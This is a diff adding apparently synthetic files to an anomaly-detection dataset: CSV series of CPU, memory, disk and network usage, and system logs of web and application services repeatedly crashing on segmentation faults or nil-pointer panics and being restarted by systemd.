+2025-08-15 14:06:15+00:00,91.7,34.06,34.85,2.08,1.19 +2025-08-15 14:06:20+00:00,89.83,57.56,43.92,1.61,1.2 +2025-08-15 14:06:25+00:00,65.92,65.78,14.72,0.66,0.5 +2025-08-15 14:06:30+00:00,72.24,67.56,6.97,0.68,0.84 +2025-08-15 14:06:35+00:00,71.46,68.5,10.22,0.52,0.45 +2025-08-15 14:06:40+00:00,62.69,65.63,6.47,0.83,0.59 +2025-08-15 14:06:45+00:00,60.65,70.06,5.74,0.91,0.7 +2025-08-15 14:06:50+00:00,98.68,72.05,13.77,0.49,0.49 +2025-08-15 14:06:55+00:00,4.11,10.59,3.57,0.07,0.08 +2025-08-15 14:07:00+00:00,2.98,11.34,3.26,0.09,0.05 +2025-08-15 14:07:05+00:00,3.28,11.26,2.77,0.1,0.07 +2025-08-15 14:07:10+00:00,91.87,13.97,39.48,1.64,0.88 +2025-08-15 14:07:15+00:00,92.46,34.13,41.52,2.28,1.38 +2025-08-15 14:07:20+00:00,92.19,56.0,40.06,2.48,1.4 +2025-08-15 14:07:25+00:00,63.13,68.88,5.43,0.81,0.63 diff --git a/anom_dataset/scenario_11/anom_11_1.log b/anom_dataset/scenario_11/anom_11_1.log new file mode 100644 index 0000000000000000000000000000000000000000..5eb8da8bce2135494afaa9616bbd6cec209a21ca --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_1.log @@ -0,0 +1,70 @@ +Aug 15 13:59:48 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 15 13:59:53 sshd[14980]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Aug 15 14:00:10 my-app[15000]: INFO: Application core initializing... +Aug 15 14:00:20 my-app[15000]: INFO: Successfully connected to database 'prod_db'. +Aug 15 14:00:50 my-app[15000]: FATAL: Unhandled exception: segmentation fault at address 0x00007f8c12345678 +Aug 15 14:00:50 my-app[15000]: [stacktrace] #0 /lib/x86_64-linux-gnu/libc.so.6(+0x3cda0) +Aug 15 14:00:50 my-app[15000]: [stacktrace] #1 /usr/local/bin/my-app(process_data+0x1a24) +Aug 15 14:00:55 systemd[1]: my-crashing-app.service: Main process exited, code=exited, status=139/SEGV +Aug 15 14:00:56 systemd[1]: my-crashing-app.service: Failed with result 'exit-code'. +Aug 15 14:00:57 systemd[1]: my-crashing-app.service: Scheduled restart job, restart counter is at 1. +Aug 15 14:01:00 systemd[1]: Started my-crashing-app.service. +Aug 15 14:01:10 my-app[15113]: INFO: Application core initializing... +Aug 15 14:01:15 CRON[15301]: (root) CMD ( /usr/lib/snapd/snapd --daemon) +Aug 15 14:01:20 my-app[15113]: INFO: Successfully connected to database 'prod_db'. +Aug 15 14:01:50 my-app[15113]: FATAL: Unhandled exception: segmentation fault at address 0x00007f8c12345678 +Aug 15 14:01:50 my-app[15113]: [stacktrace] #0 /lib/x86_64-linux-gnu/libc.so.6(+0x3cda0) +Aug 15 14:01:50 my-app[15113]: [stacktrace] #1 /usr/local/bin/my-app(process_data+0x1a24) +Aug 15 14:01:55 systemd[1]: my-crashing-app.service: Main process exited, code=exited, status=139/SEGV +Aug 15 14:01:56 systemd[1]: my-crashing-app.service: Failed with result 'exit-code'. +Aug 15 14:01:57 systemd[1]: my-crashing-app.service: Scheduled restart job, restart counter is at 2. +Aug 15 14:02:00 systemd[1]: Started my-crashing-app.service. +Aug 15 14:02:10 my-app[15226]: INFO: Application core initializing... +Aug 15 14:02:20 my-app[15226]: INFO: Successfully connected to database 'prod_db'. +Aug 15 14:02:50 my-app[15226]: FATAL: Unhandled exception: segmentation fault at address 0x00007f8c12345678 +Aug 15 14:02:50 my-app[15226]: [stacktrace] #0 /lib/x86_64-linux-gnu/libc.so.6(+0x3cda0) +Aug 15 14:02:50 my-app[15226]: [stacktrace] #1 /usr/local/bin/my-app(process_data+0x1a24) +Aug 15 14:02:55 systemd[1]: my-crashing-app.service: Main process exited, code=exited, status=139/SEGV +Aug 15 14:02:56 systemd[1]: my-crashing-app.service: Failed with result 'exit-code'. +Aug 15 14:02:57 systemd[1]: my-crashing-app.service: Scheduled restart job, restart counter is at 3. +Aug 15 14:03:00 systemd[1]: Started my-crashing-app.service. +Aug 15 14:03:10 my-app[15339]: INFO: Application core initializing... +Aug 15 14:03:20 my-app[15339]: INFO: Successfully connected to database 'prod_db'. +Aug 15 14:03:20 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 15 14:03:50 my-app[15339]: FATAL: Unhandled exception: segmentation fault at address 0x00007f8c12345678 +Aug 15 14:03:50 my-app[15339]: [stacktrace] #0 /lib/x86_64-linux-gnu/libc.so.6(+0x3cda0) +Aug 15 14:03:50 my-app[15339]: [stacktrace] #1 /usr/local/bin/my-app(process_data+0x1a24) +Aug 15 14:03:55 systemd[1]: my-crashing-app.service: Main process exited, code=exited, status=139/SEGV +Aug 15 14:03:56 systemd[1]: my-crashing-app.service: Failed with result 'exit-code'. +Aug 15 14:03:57 systemd[1]: my-crashing-app.service: Scheduled restart job, restart counter is at 4. +Aug 15 14:04:00 systemd[1]: Started my-crashing-app.service. +Aug 15 14:04:10 my-app[15452]: INFO: Application core initializing... +Aug 15 14:04:20 my-app[15452]: INFO: Successfully connected to database 'prod_db'. +Aug 15 14:04:50 my-app[15452]: FATAL: Unhandled exception: segmentation fault at address 0x00007f8c12345678 +Aug 15 14:04:50 my-app[15452]: [stacktrace] #0 /lib/x86_64-linux-gnu/libc.so.6(+0x3cda0) +Aug 15 14:04:50 my-app[15452]: [stacktrace] #1 /usr/local/bin/my-app(process_data+0x1a24) +Aug 15 14:04:55 systemd[1]: my-crashing-app.service: Main process exited, code=exited, status=139/SEGV +Aug 15 14:04:56 systemd[1]: my-crashing-app.service: Failed with result 'exit-code'. +Aug 15 14:04:57 systemd[1]: my-crashing-app.service: Scheduled restart job, restart counter is at 5. +Aug 15 14:05:00 systemd[1]: Started my-crashing-app.service. +Aug 15 14:05:10 my-app[15565]: INFO: Application core initializing... +Aug 15 14:05:20 my-app[15565]: INFO: Successfully connected to database 'prod_db'. +Aug 15 14:05:50 my-app[15565]: FATAL: Unhandled exception: segmentation fault at address 0x00007f8c12345678 +Aug 15 14:05:50 sshd[15992]: session closed for user admin +Aug 15 14:05:50 my-app[15565]: [stacktrace] #0 /lib/x86_64-linux-gnu/libc.so.6(+0x3cda0) +Aug 15 14:05:50 my-app[15565]: [stacktrace] #1 /usr/local/bin/my-app(process_data+0x1a24) +Aug 15 14:05:55 systemd[1]: my-crashing-app.service: Main process exited, code=exited, status=139/SEGV +Aug 15 14:05:56 systemd[1]: my-crashing-app.service: Failed with result 'exit-code'. +Aug 15 14:05:57 systemd[1]: my-crashing-app.service: Scheduled restart job, restart counter is at 6. +Aug 15 14:06:00 systemd[1]: Started my-crashing-app.service. +Aug 15 14:06:10 my-app[15678]: INFO: Application core initializing... +Aug 15 14:06:20 my-app[15678]: INFO: Successfully connected to database 'prod_db'. +Aug 15 14:06:50 my-app[15678]: FATAL: Unhandled exception: segmentation fault at address 0x00007f8c12345678 +Aug 15 14:06:50 my-app[15678]: [stacktrace] #0 /lib/x86_64-linux-gnu/libc.so.6(+0x3cda0) +Aug 15 14:06:50 my-app[15678]: [stacktrace] #1 /usr/local/bin/my-app(process_data+0x1a24) +Aug 15 14:06:55 systemd[1]: my-crashing-app.service: Main process exited, code=exited, status=139/SEGV +Aug 15 14:06:56 systemd[1]: my-crashing-app.service: Failed with result 'exit-code'. +Aug 15 14:06:57 systemd[1]: my-crashing-app.service: Scheduled restart job, restart counter is at 7. +Aug 15 14:07:00 systemd[1]: Started my-crashing-app.service. +Aug 15 14:07:10 my-app[15791]: INFO: Application core initializing... +Aug 15 14:07:20 my-app[15791]: INFO: Successfully connected to database 'prod_db'. diff --git a/anom_dataset/scenario_11/anom_11_10.csv b/anom_dataset/scenario_11/anom_11_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..3e3839d0c9fdb5949325c23fa0598de538c37629 --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T14:00:00Z,57.99,36.89,52.39,1.86,1.34 +2025-07-03T14:00:05Z,77.73,49.77,53.7,2.35,2.05 +2025-07-03T14:00:10Z,92.01,60.23,61.8,3.06,2.51 +2025-07-03T14:00:15Z,80.59,72.7,5.79,0.71,0.42 +2025-07-03T14:00:20Z,76.0,78.6,3.53,0.55,0.56 +2025-07-03T14:00:25Z,68.2,78.03,3.29,0.61,0.68 +2025-07-03T14:00:30Z,81.15,79.22,5.16,0.28,0.65 +2025-07-03T14:00:35Z,64.45,83.37,4.11,0.56,0.61 +2025-07-03T14:00:40Z,64.06,81.86,3.64,0.66,0.21 +2025-07-03T14:00:45Z,66.98,83.83,5.54,0.69,0.78 +2025-07-03T14:00:50Z,68.66,83.49,3.54,0.6,0.59 +2025-07-03T14:00:55Z,60.62,86.18,5.52,0.46,0.71 +2025-07-03T14:01:00Z,63.61,95.9,5.6,0.22,0.45 +2025-07-03T14:01:05Z,2.75,22.97,1.4,0.12,0.1 +2025-07-03T14:01:10Z,2.33,23.32,1.73,0.2,0.11 +2025-07-03T14:01:15Z,61.27,43.72,54.71,1.97,1.33 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Successful health check +Jul 03 14:00:00 CRON[8352]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 14:00:50 web-app[2269]: INFO Successful health check +Jul 03 14:01:00 web-app[2269]: FATAL Unhandled exception: Segmentation fault +Jul 03 14:01:00 web-app[2269]: STACK TRACE at memory location 0xDEADBEEF +Jul 03 14:01:00 web-app[2269]: ... at com.example.MyClass.crashedMethod(MyClass.java:123) +Jul 03 14:01:00 web-app[2269]: ... at com.example.Main.run(Main.java:45) +Jul 03 14:01:05 systemd[1]: web-app.service: Main process exited, code=exited, status=139/n/a +Jul 03 14:01:05 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 03 14:01:15 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 1. +Jul 03 14:01:15 systemd[1]: Stopped Web Application Service. +Jul 03 14:01:15 systemd[1]: Starting Web Application Service... +Jul 03 14:01:15 web-app[2269]: INFO Starting web application server on port 8080 +Jul 03 14:01:40 web-app[2269]: INFO Successful health check +Jul 03 14:01:55 CRON[8352]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 14:02:15 web-app[2269]: FATAL Unhandled exception: Segmentation fault +Jul 03 14:02:15 web-app[2269]: STACK TRACE at memory location 0xDEADBEEF +Jul 03 14:02:15 web-app[2269]: ... at com.example.MyClass.crashedMethod(MyClass.java:123) +Jul 03 14:02:15 web-app[2269]: ... at com.example.Main.run(Main.java:45) +Jul 03 14:02:20 systemd[1]: web-app.service: Main process exited, code=exited, status=139/n/a +Jul 03 14:02:20 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 03 14:02:30 web-app[2269]: INFO Successful health check +Jul 03 14:02:30 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 2. +Jul 03 14:02:30 systemd[1]: Stopped Web Application Service. +Jul 03 14:02:30 systemd[1]: Starting Web Application Service... +Jul 03 14:02:30 web-app[2269]: INFO Starting web application server on port 8080 +Jul 03 14:03:20 web-app[2269]: INFO Successful health check +Jul 03 14:03:30 web-app[2269]: FATAL Unhandled exception: Segmentation fault +Jul 03 14:03:30 web-app[2269]: STACK TRACE at memory location 0xDEADBEEF +Jul 03 14:03:30 web-app[2269]: ... at com.example.MyClass.crashedMethod(MyClass.java:123) +Jul 03 14:03:30 web-app[2269]: ... at com.example.Main.run(Main.java:45) +Jul 03 14:03:35 systemd[1]: web-app.service: Main process exited, code=exited, status=139/n/a +Jul 03 14:03:35 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 03 14:03:45 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 3. +Jul 03 14:03:45 systemd[1]: Stopped Web Application Service. +Jul 03 14:03:45 systemd[1]: Starting Web Application Service... +Jul 03 14:03:45 web-app[2269]: INFO Starting web application server on port 8080 +Jul 03 14:03:50 CRON[8352]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 14:04:10 web-app[2269]: INFO Successful health check +Jul 03 14:04:45 web-app[2269]: FATAL Unhandled exception: Segmentation fault +Jul 03 14:04:45 web-app[2269]: STACK TRACE at memory location 0xDEADBEEF +Jul 03 14:04:45 web-app[2269]: ... at com.example.MyClass.crashedMethod(MyClass.java:123) +Jul 03 14:04:45 web-app[2269]: ... at com.example.Main.run(Main.java:45) +Jul 03 14:04:50 systemd[1]: web-app.service: Main process exited, code=exited, status=139/n/a +Jul 03 14:04:50 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 03 14:05:00 web-app[2269]: INFO Successful health check +Jul 03 14:05:00 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 4. +Jul 03 14:05:00 systemd[1]: Stopped Web Application Service. +Jul 03 14:05:00 systemd[1]: Starting Web Application Service... +Jul 03 14:05:00 web-app[2269]: INFO Starting web application server on port 8080 +Jul 03 14:05:45 CRON[8352]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 14:05:50 web-app[2269]: INFO Successful health check +Jul 03 14:06:00 web-app[2269]: FATAL Unhandled exception: Segmentation fault +Jul 03 14:06:00 web-app[2269]: STACK TRACE at memory location 0xDEADBEEF +Jul 03 14:06:00 web-app[2269]: ... at com.example.MyClass.crashedMethod(MyClass.java:123) +Jul 03 14:06:00 web-app[2269]: ... at com.example.Main.run(Main.java:45) +Jul 03 14:06:05 systemd[1]: web-app.service: Main process exited, code=exited, status=139/n/a +Jul 03 14:06:05 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 03 14:06:15 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 5. +Jul 03 14:06:15 systemd[1]: Stopped Web Application Service. +Jul 03 14:06:15 systemd[1]: Starting Web Application Service... +Jul 03 14:06:15 web-app[2269]: INFO Starting web application server on port 8080 +Jul 03 14:06:40 web-app[2269]: INFO Successful health check +Jul 03 14:07:15 web-app[2269]: FATAL Unhandled exception: Segmentation fault +Jul 03 14:07:15 web-app[2269]: STACK TRACE at memory location 0xDEADBEEF +Jul 03 14:07:15 web-app[2269]: ... at com.example.MyClass.crashedMethod(MyClass.java:123) +Jul 03 14:07:15 web-app[2269]: ... at com.example.Main.run(Main.java:45) +Jul 03 14:07:20 systemd[1]: web-app.service: Main process exited, code=exited, status=139/n/a +Jul 03 14:07:20 systemd[1]: web-app.service: Failed with result 'exit-code'. diff --git a/anom_dataset/scenario_11/anom_11_11.csv b/anom_dataset/scenario_11/anom_11_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..0c9b799420714201f6e8a0a0d3dd64ef82b22ae6 --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,18.71,10.3,23.65,2.36,2.57 +2025-07-02T12:00:05Z,44.33,26.23,38.47,2.29,1.65 +2025-07-02T12:00:10Z,68.63,38.84,41.03,2.06,1.97 +2025-07-02T12:00:15Z,95.95,59.01,35.85,2.24,2.07 +2025-07-02T12:00:20Z,34.27,56.4,10.4,0.75,0.6 +2025-07-02T12:00:25Z,27.01,61.21,6.36,0.82,0.77 +2025-07-02T12:00:30Z,23.12,58.02,12.49,0.66,0.52 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+2025-07-02T12:05:35Z,29.98,60.56,6.77,1.27,0.91 +2025-07-02T12:05:40Z,29.55,63.03,12.0,0.52,0.42 +2025-07-02T12:05:45Z,24.8,61.82,7.77,0.99,0.82 +2025-07-02T12:05:50Z,26.17,60.07,10.94,0.79,0.9 +2025-07-02T12:05:55Z,19.8,62.48,11.76,1.14,1.45 +2025-07-02T12:06:00Z,29.83,64.12,10.19,0.9,0.68 +2025-07-02T12:06:05Z,5.06,8.71,0.0,0.62,0.67 +2025-07-02T12:06:10Z,2.38,6.31,1.11,0.18,0.22 +2025-07-02T12:06:15Z,18.71,10.3,23.65,2.36,2.57 +2025-07-02T12:06:20Z,44.33,26.23,38.47,2.29,1.65 +2025-07-02T12:06:25Z,68.63,38.84,41.03,2.06,1.97 +2025-07-02T12:06:30Z,95.95,59.01,35.85,2.24,2.07 +2025-07-02T12:06:35Z,34.27,56.4,10.4,0.75,0.6 +2025-07-02T12:06:40Z,27.01,61.21,6.36,0.82,0.77 +2025-07-02T12:06:45Z,23.12,58.02,12.49,0.66,0.52 +2025-07-02T12:06:50Z,29.98,60.56,6.77,1.27,0.91 +2025-07-02T12:06:55Z,29.55,63.03,12.0,0.52,0.42 +2025-07-02T12:07:00Z,24.8,61.82,7.77,0.99,0.82 +2025-07-02T12:07:05Z,26.17,60.07,10.94,0.79,0.9 +2025-07-02T12:07:10Z,19.8,62.48,11.76,1.14,1.45 +2025-07-02T12:07:15Z,29.83,64.12,10.19,0.9,0.68 +2025-07-02T12:07:20Z,5.06,8.71,0.0,0.62,0.67 +2025-07-02T12:07:25Z,2.38,6.31,1.11,0.18,0.22 diff --git a/anom_dataset/scenario_11/anom_11_11.log b/anom_dataset/scenario_11/anom_11_11.log new file mode 100644 index 0000000000000000000000000000000000000000..96449277c3084cbbdc6f478a3db3d9e29033ae0e --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_11.log @@ -0,0 +1,107 @@ +Jul 02 12:00:00 web-app[3345]: INFO GET /api/v1/status status=200 OK +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:35 web-app[3345]: INFO GET /api/v1/status status=200 OK +Jul 02 12:01:00 web-app[3345]: FATAL Unhandled exception: NullPointerException +Jul 02 12:01:00 web-app[3345]: panic: runtime error: invalid memory address or nil pointer dereference +Jul 02 12:01:00 web-app[3345]: [signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x7f...] +Jul 02 12:01:00 web-app[3345]: goroutine 1 [running]: +Jul 02 12:01:00 web-app[3345]: main.processRequest(0x0, 0x0) +Jul 02 12:01:00 web-app[3345]: /app/main.go:102 +0x204 +Jul 02 12:01:00 web-app[3345]: main.main() +Jul 02 12:01:00 web-app[3345]: /app/main.go:45 +0x102 +Jul 02 12:01:05 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 12:01:05 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 12:01:10 web-app[3345]: INFO GET /api/v1/status status=200 OK +Jul 02 12:01:10 systemd[1]: web-app.service: Service hold-off time over, scheduling restart. +Jul 02 12:01:10 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 1. +Jul 02 12:01:10 systemd[1]: Stopped Web Application Service. +Jul 02 12:01:10 systemd[1]: Started Web Application Service. +Jul 02 12:01:10 web-app[3345]: INFO Starting web application on port 8080... +Jul 02 12:01:45 web-app[3345]: INFO GET /api/v1/status status=200 OK +Jul 02 12:02:05 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:15 web-app[3345]: FATAL Unhandled exception: NullPointerException +Jul 02 12:02:15 web-app[3345]: panic: runtime error: invalid memory address or nil pointer dereference +Jul 02 12:02:15 web-app[3345]: [signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x7f...] +Jul 02 12:02:15 web-app[3345]: goroutine 1 [running]: +Jul 02 12:02:15 web-app[3345]: main.processRequest(0x0, 0x0) +Jul 02 12:02:15 web-app[3345]: /app/main.go:102 +0x204 +Jul 02 12:02:15 web-app[3345]: main.main() +Jul 02 12:02:15 web-app[3345]: /app/main.go:45 +0x102 +Jul 02 12:02:20 web-app[3345]: INFO GET /api/v1/status status=200 OK +Jul 02 12:02:20 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 12:02:20 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 12:02:25 systemd[1]: web-app.service: Service hold-off time over, scheduling restart. +Jul 02 12:02:25 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 2. +Jul 02 12:02:25 systemd[1]: Stopped Web Application Service. +Jul 02 12:02:25 systemd[1]: Started Web Application Service. +Jul 02 12:02:25 web-app[3345]: INFO Starting web application on port 8080... +Jul 02 12:02:55 web-app[3345]: INFO GET /api/v1/status status=200 OK +Jul 02 12:03:30 web-app[3345]: INFO GET /api/v1/status status=200 OK +Jul 02 12:03:30 web-app[3345]: FATAL Unhandled exception: NullPointerException +Jul 02 12:03:30 web-app[3345]: panic: runtime error: invalid memory address or nil pointer dereference +Jul 02 12:03:30 web-app[3345]: [signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x7f...] +Jul 02 12:03:30 web-app[3345]: goroutine 1 [running]: +Jul 02 12:03:30 web-app[3345]: main.processRequest(0x0, 0x0) +Jul 02 12:03:30 web-app[3345]: /app/main.go:102 +0x204 +Jul 02 12:03:30 web-app[3345]: main.main() +Jul 02 12:03:30 web-app[3345]: /app/main.go:45 +0x102 +Jul 02 12:03:35 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 12:03:35 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 12:03:40 systemd[1]: web-app.service: Service hold-off time over, scheduling restart. +Jul 02 12:03:40 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 3. +Jul 02 12:03:40 systemd[1]: Stopped Web Application Service. +Jul 02 12:03:40 systemd[1]: Started Web Application Service. +Jul 02 12:03:40 web-app[3345]: INFO Starting web application on port 8080... +Jul 02 12:04:05 web-app[3345]: INFO GET /api/v1/status status=200 OK +Jul 02 12:04:10 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:40 web-app[3345]: INFO GET /api/v1/status status=200 OK +Jul 02 12:04:45 web-app[3345]: FATAL Unhandled exception: NullPointerException +Jul 02 12:04:45 web-app[3345]: panic: runtime error: invalid memory address or nil pointer dereference +Jul 02 12:04:45 web-app[3345]: [signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x7f...] +Jul 02 12:04:45 web-app[3345]: goroutine 1 [running]: +Jul 02 12:04:45 web-app[3345]: main.processRequest(0x0, 0x0) +Jul 02 12:04:45 web-app[3345]: /app/main.go:102 +0x204 +Jul 02 12:04:45 web-app[3345]: main.main() +Jul 02 12:04:45 web-app[3345]: /app/main.go:45 +0x102 +Jul 02 12:04:50 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 12:04:50 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 12:04:55 systemd[1]: web-app.service: Service hold-off time over, scheduling restart. +Jul 02 12:04:55 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 4. +Jul 02 12:04:55 systemd[1]: Stopped Web Application Service. +Jul 02 12:04:55 systemd[1]: Started Web Application Service. +Jul 02 12:04:55 web-app[3345]: INFO Starting web application on port 8080... +Jul 02 12:05:15 web-app[3345]: INFO GET /api/v1/status status=200 OK +Jul 02 12:05:50 web-app[3345]: INFO GET /api/v1/status status=200 OK +Jul 02 12:06:00 web-app[3345]: FATAL Unhandled exception: NullPointerException +Jul 02 12:06:00 web-app[3345]: panic: runtime error: invalid memory address or nil pointer dereference +Jul 02 12:06:00 web-app[3345]: [signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x7f...] +Jul 02 12:06:00 web-app[3345]: goroutine 1 [running]: +Jul 02 12:06:00 web-app[3345]: main.processRequest(0x0, 0x0) +Jul 02 12:06:00 web-app[3345]: /app/main.go:102 +0x204 +Jul 02 12:06:00 web-app[3345]: main.main() +Jul 02 12:06:00 web-app[3345]: /app/main.go:45 +0x102 +Jul 02 12:06:05 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 12:06:05 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 12:06:10 systemd[1]: web-app.service: Service hold-off time over, scheduling restart. +Jul 02 12:06:10 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 5. +Jul 02 12:06:10 systemd[1]: Stopped Web Application Service. +Jul 02 12:06:10 systemd[1]: Started Web Application Service. +Jul 02 12:06:10 web-app[3345]: INFO Starting web application on port 8080... +Jul 02 12:06:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:25 web-app[3345]: INFO GET /api/v1/status status=200 OK +Jul 02 12:07:00 web-app[3345]: INFO GET /api/v1/status status=200 OK +Jul 02 12:07:15 web-app[3345]: FATAL Unhandled exception: NullPointerException +Jul 02 12:07:15 web-app[3345]: panic: runtime error: invalid memory address or nil pointer dereference +Jul 02 12:07:15 web-app[3345]: [signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x7f...] +Jul 02 12:07:15 web-app[3345]: goroutine 1 [running]: +Jul 02 12:07:15 web-app[3345]: main.processRequest(0x0, 0x0) +Jul 02 12:07:15 web-app[3345]: /app/main.go:102 +0x204 +Jul 02 12:07:15 web-app[3345]: main.main() +Jul 02 12:07:15 web-app[3345]: /app/main.go:45 +0x102 +Jul 02 12:07:20 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 12:07:20 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 12:07:25 systemd[1]: web-app.service: Service hold-off time over, scheduling restart. +Jul 02 12:07:25 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 6. +Jul 02 12:07:25 systemd[1]: Stopped Web Application Service. +Jul 02 12:07:25 systemd[1]: Started Web Application Service. +Jul 02 12:07:25 web-app[3345]: INFO Starting web application on port 8080... diff --git a/anom_dataset/scenario_11/anom_11_12.csv b/anom_dataset/scenario_11/anom_11_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..323703d37863c33e17ccdcce258482cda869225e --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-11T10:00:00Z,7.1,11.51,4.31,0.38,0.43 +2025-07-11T10:00:05Z,54.72,47.94,34.82,3.39,2.0 +2025-07-11T10:00:10Z,94.77,85.61,19.55,1.24,0.93 +2025-07-11T10:00:15Z,95.16,86.71,16.27,0.7,1.25 +2025-07-11T10:00:20Z,101.37,91.41,19.65,1.06,0.75 +2025-07-11T10:00:25Z,94.68,91.1,12.77,0.91,0.88 +2025-07-11T10:00:30Z,97.93,87.57,10.37,1.06,0.87 +2025-07-11T10:00:35Z,103.09,93.48,13.99,1.26,1.08 +2025-07-11T10:00:40Z,91.45,77.9,14.41,0.86,0.78 +2025-07-11T10:00:45Z,105.28,90.2,17.36,1.07,0.85 +2025-07-11T10:00:50Z,92.82,81.91,19.56,0.84,0.98 +2025-07-11T10:00:55Z,103.76,91.91,14.46,1.28,1.12 +2025-07-11T10:01:00Z,93.32,78.22,18.96,0.81,1.05 +2025-07-11T10:01:05Z,5.85,12.64,3.92,0.07,0.07 +2025-07-11T10:01:10Z,3.47,10.98,0.46,0.13,0.06 +2025-07-11T10:01:15Z,6.57,9.56,7.26,0.8,0.84 +2025-07-11T10:01:20Z,56.23,51.6,37.06,2.55,2.01 +2025-07-11T10:01:25Z,106.38,91.32,12.96,0.9,1.04 +2025-07-11T10:01:30Z,106.23,83.35,10.29,1.13,0.91 +2025-07-11T10:01:35Z,100.68,75.06,16.54,0.71,1.15 +2025-07-11T10:01:40Z,107.05,86.45,16.53,0.85,1.09 +2025-07-11T10:01:45Z,92.88,81.36,15.8,0.8,1.25 +2025-07-11T10:01:50Z,98.32,91.72,11.44,0.94,1.18 +2025-07-11T10:01:55Z,106.69,81.56,10.83,0.97,1.08 +2025-07-11T10:02:00Z,96.03,90.7,14.64,1.06,1.0 +2025-07-11T10:02:05Z,104.24,89.85,16.85,0.96,1.24 +2025-07-11T10:02:10Z,90.79,75.0,19.05,1.13,1.12 +2025-07-11T10:02:15Z,95.74,82.29,11.66,0.84,1.07 +2025-07-11T10:02:20Z,3.28,11.99,1.42,0.05,0.17 +2025-07-11T10:02:25Z,6.44,11.58,4.42,0.12,0.17 +2025-07-11T10:02:30Z,12.17,12.22,7.91,0.44,0.7 +2025-07-11T10:02:35Z,55.68,50.07,36.44,2.93,2.5 +2025-07-11T10:02:40Z,102.73,83.06,17.83,1.25,1.02 +2025-07-11T10:02:45Z,90.01,80.29,10.54,1.12,0.91 +2025-07-11T10:02:50Z,105.67,75.67,14.15,1.16,0.87 +2025-07-11T10:02:55Z,95.6,75.61,10.55,1.06,1.08 +2025-07-11T10:03:00Z,89.75,89.68,16.27,0.7,1.06 +2025-07-11T10:03:05Z,96.65,85.18,17.13,0.79,1.25 +2025-07-11T10:03:10Z,91.11,81.67,16.49,0.85,0.7 +2025-07-11T10:03:15Z,97.65,79.81,14.71,0.87,1.16 +2025-07-11T10:03:20Z,88.61,80.44,19.84,0.87,1.13 +2025-07-11T10:03:25Z,101.95,79.55,18.65,1.09,1.18 +2025-07-11T10:03:30Z,100.28,80.81,14.72,1.06,0.75 +2025-07-11T10:03:35Z,4.41,9.59,3.9,0.08,0.16 +2025-07-11T10:03:40Z,3.98,7.29,3.19,0.04,0.03 +2025-07-11T10:03:45Z,11.03,6.04,7.05,0.76,0.0 +2025-07-11T10:03:50Z,60.71,49.94,35.15,2.62,2.83 +2025-07-11T10:03:55Z,88.13,85.26,19.01,0.99,0.94 +2025-07-11T10:04:00Z,88.42,76.19,16.48,0.84,1.2 +2025-07-11T10:04:05Z,88.75,77.17,13.13,1.28,1.22 +2025-07-11T10:04:10Z,91.92,75.15,18.26,1.1,0.93 +2025-07-11T10:04:15Z,99.08,91.78,18.55,1.22,1.07 +2025-07-11T10:04:20Z,94.82,81.0,11.66,1.0,0.95 +2025-07-11T10:04:25Z,100.86,83.48,12.77,0.96,0.82 +2025-07-11T10:04:30Z,94.99,89.28,19.07,1.08,1.28 +2025-07-11T10:04:35Z,99.26,89.91,10.36,0.94,0.96 